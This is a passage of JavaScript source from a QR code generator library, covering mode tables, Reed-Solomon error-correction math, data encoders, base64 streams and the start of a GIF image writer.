          if (min <= x && x < max && min <= y && y < max && _this.isDark(r, Math.floor((x - min) / cellSize))) {
            p = 0;
          }

          // Output 2 characters per pixel, to create full square. 1 character per pixels gives only half width of square.
          line += p ? white : black;
        }

        for (r = 0; r < cellSize; r += 1) {
          ascii += line + '\n';
        }
      }

      return ascii.substring(0, ascii.length-1);
    };

    _this.renderTo2dContext = function(context, cellSize) {
      cellSize = cellSize || 2;
      var length = _this.getModuleCount();
      for (var row = 0; row < length; row++) {
        for (var col = 0; col < length; col++) {
          context.fillStyle = _this.isDark(row, col) ? 'black' : 'white';
          context.fillRect(row * cellSize, col * cellSize, cellSize, cellSize);
        }
      }
    }

    return _this;
  };

  //---------------------------------------------------------------------
  // qrcode.stringToBytes
  //---------------------------------------------------------------------

  qrcode.stringToBytesFuncs = {
    'default' : function(s) {
      var bytes = [];
      for (var i = 0; i < s.length; i += 1) {
        var c = s.charCodeAt(i);
        bytes.push(c & 0xff);
      }
      return bytes;
    }
  };

  qrcode.stringToBytes = qrcode.stringToBytesFuncs['default'];

  //---------------------------------------------------------------------
  // qrcode.createStringToBytes
  //---------------------------------------------------------------------

  /**
   * @param unicodeData base64 string of byte array.
   * [16bit Unicode],[16bit Bytes], ...
   * @param numChars
   */
  qrcode.createStringToBytes = function(unicodeData, numChars) {

    // create conversion map.

    var unicodeMap = function() {

      var bin = base64DecodeInputStream(unicodeData);
      var read = function() {
        var b = bin.read();
        if (b == -1) throw 'eof';
        return b;
      };

      var count = 0;
      var unicodeMap = {};
      while (true) {
        var b0 = bin.read();
        if (b0 == -1) break;
        var b1 = read();
        var b2 = read();
        var b3 = read();
        var k = String.fromCharCode( (b0 << 8) | b1);
        var v = (b2 << 8) | b3;
        unicodeMap[k] = v;
        count += 1;
      }
      if (count != numChars) {
        throw count + ' != ' + numChars;
      }

      return unicodeMap;
    }();

    var unknownChar = '?'.charCodeAt(0);

    return function(s) {
      var bytes = [];
      for (var i = 0; i < s.length; i += 1) {
        var c = s.charCodeAt(i);
        if (c < 128) {
          bytes.push(c);
        } else {
          var b = unicodeMap[s.charAt(i)];
          if (typeof b == 'number') {
            if ( (b & 0xff) == b) {
              // 1byte
              bytes.push(b);
            } else {
              // 2bytes
              bytes.push(b >>> 8);
              bytes.push(b & 0xff);
            }
          } else {
            bytes.push(unknownChar);
          }
        }
      }
      return bytes;
    };
  };

  //---------------------------------------------------------------------
  // QRMode
  //---------------------------------------------------------------------

  var QRMode = {
    MODE_NUMBER :    1 << 0,
    MODE_ALPHA_NUM : 1 << 1,
    MODE_8BIT_BYTE : 1 << 2,
    MODE_KANJI :     1 << 3
  };

  //---------------------------------------------------------------------
  // QRErrorCorrectionLevel
  //---------------------------------------------------------------------

  var QRErrorCorrectionLevel = {
    L : 1,
    M : 0,
    Q : 3,
    H : 2
  };

  //---------------------------------------------------------------------
  // QRMaskPattern
  //---------------------------------------------------------------------

  var QRMaskPattern = {
    PATTERN000 : 0,
    PATTERN001 : 1,
    PATTERN010 : 2,
    PATTERN011 : 3,
    PATTERN100 : 4,
    PATTERN101 : 5,
    PATTERN110 : 6,
    PATTERN111 : 7
  };

  //---------------------------------------------------------------------
  // QRUtil
  //---------------------------------------------------------------------

  var QRUtil = function() {

    var PATTERN_POSITION_TABLE = [
      [],
      [6, 18],
      [6, 22],
      [6, 26],
      [6, 30],
      [6, 34],
      [6, 22, 38],
      [6, 24, 42],
      [6, 26, 46],
      [6, 28, 50],
      [6, 30, 54],
      [6, 32, 58],
      [6, 34, 62],
      [6, 26, 46, 66],
      [6, 26, 48, 70],
      [6, 26, 50, 74],
      [6, 30, 54, 78],
      [6, 30, 56, 82],
      [6, 30, 58, 86],
      [6, 34, 62, 90],
      [6, 28, 50, 72, 94],
      [6, 26, 50, 74, 98],
      [6, 30, 54, 78, 102],
      [6, 28, 54, 80, 106],
      [6, 32, 58, 84, 110],
      [6, 30, 58, 86, 114],
      [6, 34, 62, 90, 118],
      [6, 26, 50, 74, 98, 122],
      [6, 30, 54, 78, 102, 126],
      [6, 26, 52, 78, 104, 130],
      [6, 30, 56, 82, 108, 134],
      [6, 34, 60, 86, 112, 138],
      [6, 30, 58, 86, 114, 142],
      [6, 34, 62, 90, 118, 146],
      [6, 30, 54, 78, 102, 126, 150],
      [6, 24, 50, 76, 102, 128, 154],
      [6, 28, 54, 80, 106, 132, 158],
      [6, 32, 58, 84, 110, 136, 162],
      [6, 26, 54, 82, 110, 138, 166],
      [6, 30, 58, 86, 114, 142, 170]
    ];
    var G15 = (1 << 10) | (1 << 8) | (1 << 5) | (1 << 4) | (1 << 2) | (1 << 1) | (1 << 0);
    var G18 = (1 << 12) | (1 << 11) | (1 << 10) | (1 << 9) | (1 << 8) | (1 << 5) | (1 << 2) | (1 << 0);
    var G15_MASK = (1 << 14) | (1 << 12) | (1 << 10) | (1 << 4) | (1 << 1);

    var _this = {};

    var getBCHDigit = function(data) {
      var digit = 0;
      while (data != 0) {
        digit += 1;
        data >>>= 1;
      }
      return digit;
    };

    _this.getBCHTypeInfo = function(data) {
      var d = data << 10;
      while (getBCHDigit(d) - getBCHDigit(G15) >= 0) {
        d ^= (G15 << (getBCHDigit(d) - getBCHDigit(G15) ) );
      }
      return ( (data << 10) | d) ^ G15_MASK;
    };

    _this.getBCHTypeNumber = function(data) {
      var d = data << 12;
      while (getBCHDigit(d) - getBCHDigit(G18) >= 0) {
        d ^= (G18 << (getBCHDigit(d) - getBCHDigit(G18) ) );
      }
      return (data << 12) | d;
    };

    _this.getPatternPosition = function(typeNumber) {
      return PATTERN_POSITION_TABLE[typeNumber - 1];
    };

    _this.getMaskFunction = function(maskPattern) {

      switch (maskPattern) {

      case QRMaskPattern.PATTERN000 :
        return function(i, j) { return (i + j) % 2 == 0; };
      case QRMaskPattern.PATTERN001 :
        return function(i, j) { return i % 2 == 0; };
      case QRMaskPattern.PATTERN010 :
        return function(i, j) { return j % 3 == 0; };
      case QRMaskPattern.PATTERN011 :
        return function(i, j) { return (i + j) % 3 == 0; };
      case QRMaskPattern.PATTERN100 :
        return function(i, j) { return (Math.floor(i / 2) + Math.floor(j / 3) ) % 2 == 0; };
      case QRMaskPattern.PATTERN101 :
        return function(i, j) { return (i * j) % 2 + (i * j) % 3 == 0; };
      case QRMaskPattern.PATTERN110 :
        return function(i, j) { return ( (i * j) % 2 + (i * j) % 3) % 2 == 0; };
      case QRMaskPattern.PATTERN111 :
        return function(i, j) { return ( (i * j) % 3 + (i + j) % 2) % 2 == 0; };

      default :
        throw 'bad maskPattern:' + maskPattern;
      }
    };

    _this.getErrorCorrectPolynomial = function(errorCorrectLength) {
      var a = qrPolynomial([1], 0);
      for (var i = 0; i < errorCorrectLength; i += 1) {
        a = a.multiply(qrPolynomial([1, QRMath.gexp(i)], 0) );
      }
      return a;
    };

    _this.getLengthInBits = function(mode, type) {

      if (1 <= type && type < 10) {

        // 1 - 9

        switch(mode) {
        case QRMode.MODE_NUMBER    : return 10;
        case QRMode.MODE_ALPHA_NUM : return 9;
        case QRMode.MODE_8BIT_BYTE : return 8;
        case QRMode.MODE_KANJI     : return 8;
        default :
          throw 'mode:' + mode;
        }

      } else if (type < 27) {

        // 10 - 26

        switch(mode) {
        case QRMode.MODE_NUMBER    : return 12;
        case QRMode.MODE_ALPHA_NUM : return 11;
        case QRMode.MODE_8BIT_BYTE : return 16;
        case QRMode.MODE_KANJI     : return 10;
        default :
          throw 'mode:' + mode;
        }

      } else if (type < 41) {

        // 27 - 40

        switch(mode) {
        case QRMode.MODE_NUMBER    : return 14;
        case QRMode.MODE_ALPHA_NUM : return 13;
        case QRMode.MODE_8BIT_BYTE : return 16;
        case QRMode.MODE_KANJI     : return 12;
        default :
          throw 'mode:' + mode;
        }

      } else {
        throw 'type:' + type;
      }
    };

    _this.getLostPoint = function(qrcode) {

      var moduleCount = qrcode.getModuleCount();

      var lostPoint = 0;

      // LEVEL1

      for (var row = 0; row < moduleCount; row += 1) {
        for (var col = 0; col < moduleCount; col += 1) {

          var sameCount = 0;
          var dark = qrcode.isDark(row, col);

          for (var r = -1; r <= 1; r += 1) {

            if (row + r < 0 || moduleCount <= row + r) {
              continue;
            }

            for (var c = -1; c <= 1; c += 1) {

              if (col + c < 0 || moduleCount <= col + c) {
                continue;
              }

              if (r == 0 && c == 0) {
                continue;
              }

              if (dark == qrcode.isDark(row + r, col + c) ) {
                sameCount += 1;
              }
            }
          }

          if (sameCount > 5) {
            lostPoint += (3 + sameCount - 5);
          }
        }
      };

      // LEVEL2

      for (var row = 0; row < moduleCount - 1; row += 1) {
        for (var col = 0; col < moduleCount - 1; col += 1) {
          var count = 0;
          if (qrcode.isDark(row, col) ) count += 1;
          if (qrcode.isDark(row + 1, col) ) count += 1;
          if (qrcode.isDark(row, col + 1) ) count += 1;
          if (qrcode.isDark(row + 1, col + 1) ) count += 1;
          if (count == 0 || count == 4) {
            lostPoint += 3;
          }
        }
      }

      // LEVEL3

      for (var row = 0; row < moduleCount; row += 1) {
        for (var col = 0; col < moduleCount - 6; col += 1) {
          if (qrcode.isDark(row, col)
              && !qrcode.isDark(row, col + 1)
              &&  qrcode.isDark(row, col + 2)
              &&  qrcode.isDark(row, col + 3)
              &&  qrcode.isDark(row, col + 4)
              && !qrcode.isDark(row, col + 5)
              &&  qrcode.isDark(row, col + 6) ) {
            lostPoint += 40;
          }
        }
      }

      for (var col = 0; col < moduleCount; col += 1) {
        for (var row = 0; row < moduleCount - 6; row += 1) {
          if (qrcode.isDark(row, col)
              && !qrcode.isDark(row + 1, col)
              &&  qrcode.isDark(row + 2, col)
              &&  qrcode.isDark(row + 3, col)
              &&  qrcode.isDark(row + 4, col)
              && !qrcode.isDark(row + 5, col)
              &&  qrcode.isDark(row + 6, col) ) {
            lostPoint += 40;
          }
        }
      }

      // LEVEL4

      var darkCount = 0;

      for (var col = 0; col < moduleCount; col += 1) {
        for (var row = 0; row < moduleCount; row += 1) {
          if (qrcode.isDark(row, col) ) {
            darkCount += 1;
          }
        }
      }

      var ratio = Math.abs(100 * darkCount / moduleCount / moduleCount - 50) / 5;
      lostPoint += ratio * 10;

      return lostPoint;
    };

    return _this;
  }();

  //---------------------------------------------------------------------
  // QRMath
  //---------------------------------------------------------------------

  var QRMath = function() {

    var EXP_TABLE = new Array(256);
    var LOG_TABLE = new Array(256);

    // initialize tables
    for (var i = 0; i < 8; i += 1) {
      EXP_TABLE[i] = 1 << i;
    }
    for (var i = 8; i < 256; i += 1) {
      EXP_TABLE[i] = EXP_TABLE[i - 4]
        ^ EXP_TABLE[i - 5]
        ^ EXP_TABLE[i - 6]
        ^ EXP_TABLE[i - 8];
    }
    for (var i = 0; i < 255; i += 1) {
      LOG_TABLE[EXP_TABLE[i] ] = i;
    }

    var _this = {};

    _this.glog = function(n) {

      if (n < 1) {
        throw 'glog(' + n + ')';
      }

      return LOG_TABLE[n];
    };

    _this.gexp = function(n) {

      while (n < 0) {
        n += 255;
      }

      while (n >= 256) {
        n -= 255;
      }

      return EXP_TABLE[n];
    };

    return _this;
  }();

  //---------------------------------------------------------------------
  // qrPolynomial
  //---------------------------------------------------------------------

  function qrPolynomial(num, shift) {

    if (typeof num.length == 'undefined') {
      throw num.length + '/' + shift;
    }

    var _num = function() {
      var offset = 0;
      while (offset < num.length && num[offset] == 0) {
        offset += 1;
      }
      var _num = new Array(num.length - offset + shift);
      for (var i = 0; i < num.length - offset; i += 1) {
        _num[i] = num[i + offset];
      }
      return _num;
    }();

    var _this = {};

    _this.getAt = function(index) {
      return _num[index];
    };

    _this.getLength = function() {
      return _num.length;
    };

    _this.multiply = function(e) {

      var num = new Array(_this.getLength() + e.getLength() - 1);

      for (var i = 0; i < _this.getLength(); i += 1) {
        for (var j = 0; j < e.getLength(); j += 1) {
          num[i + j] ^= QRMath.gexp(QRMath.glog(_this.getAt(i) ) + QRMath.glog(e.getAt(j) ) );
        }
      }

      return qrPolynomial(num, 0);
    };

    _this.mod = function(e) {

      if (_this.getLength() - e.getLength() < 0) {
        return _this;
      }

      var ratio = QRMath.glog(_this.getAt(0) ) - QRMath.glog(e.getAt(0) );

      var num = new Array(_this.getLength() );
      for (var i = 0; i < _this.getLength(); i += 1) {
        num[i] = _this.getAt(i);
      }

      for (var i = 0; i < e.getLength(); i += 1) {
        num[i] ^= QRMath.gexp(QRMath.glog(e.getAt(i) ) + ratio);
      }

      // recursive call
      return qrPolynomial(num, 0).mod(e);
    };

    return _this;
  };

  //---------------------------------------------------------------------
  // QRRSBlock
  //---------------------------------------------------------------------

  var QRRSBlock = function() {

    var RS_BLOCK_TABLE = [

      // L
      // M
      // Q
      // H

      // 1
      [1, 26, 19],
      [1, 26, 16],
      [1, 26, 13],
      [1, 26, 9],

      // 2
      [1, 44, 34],
      [1, 44, 28],
      [1, 44, 22],
      [1, 44, 16],

      // 3
      [1, 70, 55],
      [1, 70, 44],
      [2, 35, 17],
      [2, 35, 13],

      // 4
      [1, 100, 80],
      [2, 50, 32],
      [2, 50, 24],
      [4, 25, 9],

      // 5
      [1, 134, 108],
      [2, 67, 43],
      [2, 33, 15, 2, 34, 16],
      [2, 33, 11, 2, 34, 12],

      // 6
      [2, 86, 68],
      [4, 43, 27],
      [4, 43, 19],
      [4, 43, 15],

      // 7
      [2, 98, 78],
      [4, 49, 31],
      [2, 32, 14, 4, 33, 15],
      [4, 39, 13, 1, 40, 14],

      // 8
      [2, 121, 97],
      [2, 60, 38, 2, 61, 39],
      [4, 40, 18, 2, 41, 19],
      [4, 40, 14, 2, 41, 15],

      // 9
      [2, 146, 116],
      [3, 58, 36, 2, 59, 37],
      [4, 36, 16, 4, 37, 17],
      [4, 36, 12, 4, 37, 13],

      // 10
      [2, 86, 68, 2, 87, 69],
      [4, 69, 43, 1, 70, 44],
      [6, 43, 19, 2, 44, 20],
      [6, 43, 15, 2, 44, 16],

      // 11
      [4, 101, 81],
      [1, 80, 50, 4, 81, 51],
      [4, 50, 22, 4, 51, 23],
      [3, 36, 12, 8, 37, 13],

      // 12
      [2, 116, 92, 2, 117, 93],
      [6, 58, 36, 2, 59, 37],
      [4, 46, 20, 6, 47, 21],
      [7, 42, 14, 4, 43, 15],

      // 13
      [4, 133, 107],
      [8, 59, 37, 1, 60, 38],
      [8, 44, 20, 4, 45, 21],
      [12, 33, 11, 4, 34, 12],

      // 14
      [3, 145, 115, 1, 146, 116],
      [4, 64, 40, 5, 65, 41],
      [11, 36, 16, 5, 37, 17],
      [11, 36, 12, 5, 37, 13],

      // 15
      [5, 109, 87, 1, 110, 88],
      [5, 65, 41, 5, 66, 42],
      [5, 54, 24, 7, 55, 25],
      [11, 36, 12, 7, 37, 13],

      // 16
      [5, 122, 98, 1, 123, 99],
      [7, 73, 45, 3, 74, 46],
      [15, 43, 19, 2, 44, 20],
      [3, 45, 15, 13, 46, 16],

      // 17
      [1, 135, 107, 5, 136, 108],
      [10, 74, 46, 1, 75, 47],
      [1, 50, 22, 15, 51, 23],
      [2, 42, 14, 17, 43, 15],

      // 18
      [5, 150, 120, 1, 151, 121],
      [9, 69, 43, 4, 70, 44],
      [17, 50, 22, 1, 51, 23],
      [2, 42, 14, 19, 43, 15],

      // 19
      [3, 141, 113, 4, 142, 114],
      [3, 70, 44, 11, 71, 45],
      [17, 47, 21, 4, 48, 22],
      [9, 39, 13, 16, 40, 14],

      // 20
      [3, 135, 107, 5, 136, 108],
      [3, 67, 41, 13, 68, 42],
      [15, 54, 24, 5, 55, 25],
      [15, 43, 15, 10, 44, 16],

      // 21
      [4, 144, 116, 4, 145, 117],
      [17, 68, 42],
      [17, 50, 22, 6, 51, 23],
      [19, 46, 16, 6, 47, 17],

      // 22
      [2, 139, 111, 7, 140, 112],
      [17, 74, 46],
      [7, 54, 24, 16, 55, 25],
      [34, 37, 13],

      // 23
      [4, 151, 121, 5, 152, 122],
      [4, 75, 47, 14, 76, 48],
      [11, 54, 24, 14, 55, 25],
      [16, 45, 15, 14, 46, 16],

      // 24
      [6, 147, 117, 4, 148, 118],
      [6, 73, 45, 14, 74, 46],
      [11, 54, 24, 16, 55, 25],
      [30, 46, 16, 2, 47, 17],

      // 25
      [8, 132, 106, 4, 133, 107],
      [8, 75, 47, 13, 76, 48],
      [7, 54, 24, 22, 55, 25],
      [22, 45, 15, 13, 46, 16],

      // 26
      [10, 142, 114, 2, 143, 115],
      [19, 74, 46, 4, 75, 47],
      [28, 50, 22, 6, 51, 23],
      [33, 46, 16, 4, 47, 17],

      // 27
      [8, 152, 122, 4, 153, 123],
      [22, 73, 45, 3, 74, 46],
      [8, 53, 23, 26, 54, 24],
      [12, 45, 15, 28, 46, 16],

      // 28
      [3, 147, 117, 10, 148, 118],
      [3, 73, 45, 23, 74, 46],
      [4, 54, 24, 31, 55, 25],
      [11, 45, 15, 31, 46, 16],

      // 29
      [7, 146, 116, 7, 147, 117],
      [21, 73, 45, 7, 74, 46],
      [1, 53, 23, 37, 54, 24],
      [19, 45, 15, 26, 46, 16],

      // 30
      [5, 145, 115, 10, 146, 116],
      [19, 75, 47, 10, 76, 48],
      [15, 54, 24, 25, 55, 25],
      [23, 45, 15, 25, 46, 16],

      // 31
      [13, 145, 115, 3, 146, 116],
      [2, 74, 46, 29, 75, 47],
      [42, 54, 24, 1, 55, 25],
      [23, 45, 15, 28, 46, 16],

      // 32
      [17, 145, 115],
      [10, 74, 46, 23, 75, 47],
      [10, 54, 24, 35, 55, 25],
      [19, 45, 15, 35, 46, 16],

      // 33
      [17, 145, 115, 1, 146, 116],
      [14, 74, 46, 21, 75, 47],
      [29, 54, 24, 19, 55, 25],
      [11, 45, 15, 46, 46, 16],

      // 34
      [13, 145, 115, 6, 146, 116],
      [14, 74, 46, 23, 75, 47],
      [44, 54, 24, 7, 55, 25],
      [59, 46, 16, 1, 47, 17],

      // 35
      [12, 151, 121, 7, 152, 122],
      [12, 75, 47, 26, 76, 48],
      [39, 54, 24, 14, 55, 25],
      [22, 45, 15, 41, 46, 16],

      // 36
      [6, 151, 121, 14, 152, 122],
      [6, 75, 47, 34, 76, 48],
      [46, 54, 24, 10, 55, 25],
      [2, 45, 15, 64, 46, 16],

      // 37
      [17, 152, 122, 4, 153, 123],
      [29, 74, 46, 14, 75, 47],
      [49, 54, 24, 10, 55, 25],
      [24, 45, 15, 46, 46, 16],

      // 38
      [4, 152, 122, 18, 153, 123],
      [13, 74, 46, 32, 75, 47],
      [48, 54, 24, 14, 55, 25],
      [42, 45, 15, 32, 46, 16],

      // 39
      [20, 147, 117, 4, 148, 118],
      [40, 75, 47, 7, 76, 48],
      [43, 54, 24, 22, 55, 25],
      [10, 45, 15, 67, 46, 16],

      // 40
      [19, 148, 118, 6, 149, 119],
      [18, 75, 47, 31, 76, 48],
      [34, 54, 24, 34, 55, 25],
      [20, 45, 15, 61, 46, 16]
    ];

    var qrRSBlock = function(totalCount, dataCount) {
      var _this = {};
      _this.totalCount = totalCount;
      _this.dataCount = dataCount;
      return _this;
    };

    var _this = {};

    var getRsBlockTable = function(typeNumber, errorCorrectionLevel) {

      switch(errorCorrectionLevel) {
      case QRErrorCorrectionLevel.L :
        return RS_BLOCK_TABLE[(typeNumber - 1) * 4 + 0];
      case QRErrorCorrectionLevel.M :
        return RS_BLOCK_TABLE[(typeNumber - 1) * 4 + 1];
      case QRErrorCorrectionLevel.Q :
        return RS_BLOCK_TABLE[(typeNumber - 1) * 4 + 2];
      case QRErrorCorrectionLevel.H :
        return RS_BLOCK_TABLE[(typeNumber - 1) * 4 + 3];
      default :
        return undefined;
      }
    };

    _this.getRSBlocks = function(typeNumber, errorCorrectionLevel) {

      var rsBlock = getRsBlockTable(typeNumber, errorCorrectionLevel);

      if (typeof rsBlock == 'undefined') {
        throw 'bad rs block @ typeNumber:' + typeNumber +
            '/errorCorrectionLevel:' + errorCorrectionLevel;
      }

      var length = rsBlock.length / 3;

      var list = [];

      for (var i = 0; i < length; i += 1) {

        var count = rsBlock[i * 3 + 0];
        var totalCount = rsBlock[i * 3 + 1];
        var dataCount = rsBlock[i * 3 + 2];

        for (var j = 0; j < count; j += 1) {
          list.push(qrRSBlock(totalCount, dataCount) );
        }
      }

      return list;
    };

    return _this;
  }();

  //---------------------------------------------------------------------
  // qrBitBuffer
  //---------------------------------------------------------------------

  var qrBitBuffer = function() {

    var _buffer = [];
    var _length = 0;

    var _this = {};

    _this.getBuffer = function() {
      return _buffer;
    };

    _this.getAt = function(index) {
      var bufIndex = Math.floor(index / 8);
      return ( (_buffer[bufIndex] >>> (7 - index % 8) ) & 1) == 1;
    };

    _this.put = function(num, length) {
      for (var i = 0; i < length; i += 1) {
        _this.putBit( ( (num >>> (length - i - 1) ) & 1) == 1);
      }
    };

    _this.getLengthInBits = function() {
      return _length;
    };

    _this.putBit = function(bit) {

      var bufIndex = Math.floor(_length / 8);
      if (_buffer.length <= bufIndex) {
        _buffer.push(0);
      }

      if (bit) {
        _buffer[bufIndex] |= (0x80 >>> (_length % 8) );
      }

      _length += 1;
    };

    return _this;
  };

  //---------------------------------------------------------------------
  // qrNumber
  //---------------------------------------------------------------------

  var qrNumber = function(data) {

    var _mode = QRMode.MODE_NUMBER;
    var _data = data;

    var _this = {};

    _this.getMode = function() {
      return _mode;
    };

    _this.getLength = function(buffer) {
      return _data.length;
    };

    _this.write = function(buffer) {

      var data = _data;

      var i = 0;

      while (i + 2 < data.length) {
        buffer.put(strToNum(data.substring(i, i + 3) ), 10);
        i += 3;
      }

      if (i < data.length) {
        if (data.length - i == 1) {
          buffer.put(strToNum(data.substring(i, i + 1) ), 4);
        } else if (data.length - i == 2) {
          buffer.put(strToNum(data.substring(i, i + 2) ), 7);
        }
      }
    };

    var strToNum = function(s) {
      var num = 0;
      for (var i = 0; i < s.length; i += 1) {
        num = num * 10 + chatToNum(s.charAt(i) );
      }
      return num;
    };

    var chatToNum = function(c) {
      if ('0' <= c && c <= '9') {
        return c.charCodeAt(0) - '0'.charCodeAt(0);
      }
      throw 'illegal char :' + c;
    };

    return _this;
  };

  //---------------------------------------------------------------------
  // qrAlphaNum
  //---------------------------------------------------------------------

  var qrAlphaNum = function(data) {

    var _mode = QRMode.MODE_ALPHA_NUM;
    var _data = data;

    var _this = {};

    _this.getMode = function() {
      return _mode;
    };

    _this.getLength = function(buffer) {
      return _data.length;
    };

    _this.write = function(buffer) {

      var s = _data;

      var i = 0;

      while (i + 1 < s.length) {
        buffer.put(
          getCode(s.charAt(i) ) * 45 +
          getCode(s.charAt(i + 1) ), 11);
        i += 2;
      }

      if (i < s.length) {
        buffer.put(getCode(s.charAt(i) ), 6);
      }
    };

    var getCode = function(c) {

      if ('0' <= c && c <= '9') {
        return c.charCodeAt(0) - '0'.charCodeAt(0);
      } else if ('A' <= c && c <= 'Z') {
        return c.charCodeAt(0) - 'A'.charCodeAt(0) + 10;
      } else {
        switch (c) {
        case ' ' : return 36;
        case '$' : return 37;
        case '%' : return 38;
        case '*' : return 39;
        case '+' : return 40;
        case '-' : return 41;
        case '.' : return 42;
        case '/' : return 43;
        case ':' : return 44;
        default :
          throw 'illegal char :' + c;
        }
      }
    };

    return _this;
  };

  //---------------------------------------------------------------------
  // qr8BitByte
  //---------------------------------------------------------------------

  var qr8BitByte = function(data) {

    var _mode = QRMode.MODE_8BIT_BYTE;
    var _data = data;
    var _bytes = qrcode.stringToBytes(data);

    var _this = {};

    _this.getMode = function() {
      return _mode;
    };

    _this.getLength = function(buffer) {
      return _bytes.length;
    };

    _this.write = function(buffer) {
      for (var i = 0; i < _bytes.length; i += 1) {
        buffer.put(_bytes[i], 8);
      }
    };

    return _this;
  };

  //---------------------------------------------------------------------
  // qrKanji
  //---------------------------------------------------------------------

  var qrKanji = function(data) {

    var _mode = QRMode.MODE_KANJI;
    var _data = data;

    var stringToBytes = qrcode.stringToBytesFuncs['SJIS'];
    if (!stringToBytes) {
      throw 'sjis not supported.';
    }
    !function(c, code) {
      // self test for sjis support.
      var test = stringToBytes(c);
      if (test.length != 2 || ( (test[0] << 8) | test[1]) != code) {
        throw 'sjis not supported.';
      }
    }('\u53cb', 0x9746);

    var _bytes = stringToBytes(data);

    var _this = {};

    _this.getMode = function() {
      return _mode;
    };

    _this.getLength = function(buffer) {
      return ~~(_bytes.length / 2);
    };

    _this.write = function(buffer) {

      var data = _bytes;

      var i = 0;

      while (i + 1 < data.length) {

        var c = ( (0xff & data[i]) << 8) | (0xff & data[i + 1]);

        if (0x8140 <= c && c <= 0x9FFC) {
          c -= 0x8140;
        } else if (0xE040 <= c && c <= 0xEBBF) {
          c -= 0xC140;
        } else {
          throw 'illegal char at ' + (i + 1) + '/' + c;
        }

        c = ( (c >>> 8) & 0xff) * 0xC0 + (c & 0xff);

        buffer.put(c, 13);

        i += 2;
      }

      if (i < data.length) {
        throw 'illegal char at ' + (i + 1);
      }
    };

    return _this;
  };

  //=====================================================================
  // GIF Support etc.
  //

  //---------------------------------------------------------------------
  // byteArrayOutputStream
  //---------------------------------------------------------------------

  var byteArrayOutputStream = function() {

    var _bytes = [];

    var _this = {};

    _this.writeByte = function(b) {
      _bytes.push(b & 0xff);
    };

    _this.writeShort = function(i) {
      _this.writeByte(i);
      _this.writeByte(i >>> 8);
    };

    _this.writeBytes = function(b, off, len) {
      off = off || 0;
      len = len || b.length;
      for (var i = 0; i < len; i += 1) {
        _this.writeByte(b[i + off]);
      }
    };

    _this.writeString = function(s) {
      for (var i = 0; i < s.length; i += 1) {
        _this.writeByte(s.charCodeAt(i) );
      }
    };

    _this.toByteArray = function() {
      return _bytes;
    };

    _this.toString = function() {
      var s = '';
      s += '[';
      for (var i = 0; i < _bytes.length; i += 1) {
        if (i > 0) {
          s += ',';
        }
        s += _bytes[i];
      }
      s += ']';
      return s;
    };

    return _this;
  };

  //---------------------------------------------------------------------
  // base64EncodeOutputStream
  //---------------------------------------------------------------------

  var base64EncodeOutputStream = function() {

    var _buffer = 0;
    var _buflen = 0;
    var _length = 0;
    var _base64 = '';

    var _this = {};

    var writeEncoded = function(b) {
      _base64 += String.fromCharCode(encode(b & 0x3f) );
    };

    var encode = function(n) {
      if (n < 0) {
        // error.
      } else if (n < 26) {
        return 0x41 + n;
      } else if (n < 52) {
        return 0x61 + (n - 26);
      } else if (n < 62) {
        return 0x30 + (n - 52);
      } else if (n == 62) {
        return 0x2b;
      } else if (n == 63) {
        return 0x2f;
      }
      throw 'n:' + n;
    };

    _this.writeByte = function(n) {

      _buffer = (_buffer << 8) | (n & 0xff);
      _buflen += 8;
      _length += 1;

      while (_buflen >= 6) {
        writeEncoded(_buffer >>> (_buflen - 6) );
        _buflen -= 6;
      }
    };

    _this.flush = function() {

      if (_buflen > 0) {
        writeEncoded(_buffer << (6 - _buflen) );
        _buffer = 0;
        _buflen = 0;
      }

      if (_length % 3 != 0) {
        // padding
        var padlen = 3 - _length % 3;
        for (var i = 0; i < padlen; i += 1) {
          _base64 += '=';
        }
      }
    };

    _this.toString = function() {
      return _base64;
    };

    return _this;
  };

  //---------------------------------------------------------------------
  // base64DecodeInputStream
  //---------------------------------------------------------------------

  var base64DecodeInputStream = function(str) {

    var _str = str;
    var _pos = 0;
    var _buffer = 0;
    var _buflen = 0;

    var _this = {};

    _this.read = function() {

      while (_buflen < 8) {

        if (_pos >= _str.length) {
          if (_buflen == 0) {
            return -1;
          }
          throw 'unexpected end of file./' + _buflen;
        }

        var c = _str.charAt(_pos);
        _pos += 1;

        if (c == '=') {
          _buflen = 0;
          return -1;
        } else if (c.match(/^\s$/) ) {
          // ignore if whitespace.
          continue;
        }

        _buffer = (_buffer << 6) | decode(c.charCodeAt(0) );
        _buflen += 6;
      }

      var n = (_buffer >>> (_buflen - 8) ) & 0xff;
      _buflen -= 8;
      return n;
    };

    var decode = function(c) {
      if (0x41 <= c && c <= 0x5a) {
        return c - 0x41;
      } else if (0x61 <= c && c <= 0x7a) {
        return c - 0x61 + 26;
      } else if (0x30 <= c && c <= 0x39) {
        return c - 0x30 + 52;
      } else if (c == 0x2b) {
        return 62;
      } else if (c == 0x2f) {
        return 63;
      } else {
        throw 'c:' + c;
      }
    };

    return _this;
  };

  //---------------------------------------------------------------------
  // gifImage (B/W)
  //---------------------------------------------------------------------

  var gifImage = function(width, height) {

    var _width = width;
    var _height = height;
    var _data = new Array(width * height);

    var _this = {};

    _this.setPixel = function(x, y, pixel) {
      _data[y * _width + x] = pixel;
    };

    _this.write = function(out) {

      //---------------------------------
      // GIF Signature

      out.writeString('GIF87a');

      //---------------------------------
      // Screen Descriptor

      out.writeShort(_width);
      out.writeShort(_height);

      out.writeByte(0x80); // 2bit
      out.writeByte(0);
      out.writeByte(0);

      //---------------------------------
      // Global Color Map

      // black
      out.writeByte(0x00);
      out.writeByte(0x00);
      out.writeByte(0x00);

      // white
      out.writeByte(0xff);
      out.writeByte(0xff);
      out.writeByte(0xff);

      //---------------------------------
      // Image Descriptor

      out.writeString(',');
      out.writeShort(0);
      out.writeShort(0);
      out.writeShort(_width);
      out.writeShort(_height);
      out.writeByte(0);

      //---------------------------------
      // Local Color Map

      //---------------------------------
      // Raster Data

      var lzwMinCodeSize = 2;
      var raster = getLZWRaster(lzwMinCodeSize);

      out.writeByte(lzwMinCodeSize);

      var offset = 0;

      while (raster.length - offset > 255) {
        out.writeByte(255);
        out.writeBytes(raster, offset, 255);
        offset += 255;
      }

      out.writeByte(raster.length - offset);
      out.writeBytes(raster, offset, raster.length - offset);
      out.writeByte(0x00);

      //---------------------------------
      // GIF Terminator
      out.writeString(';');
    };

    var bitOutputStream = function(out) {

      var _out = out;
      var _bitLength = 0;
      var _bitBuffer = 0;

      var _this = {};

      _this.write = function(data, length) {

        if ( (data >>> length) != 0) {
          throw 'length over';
        }

        while (_bitLength + length >= 8) {
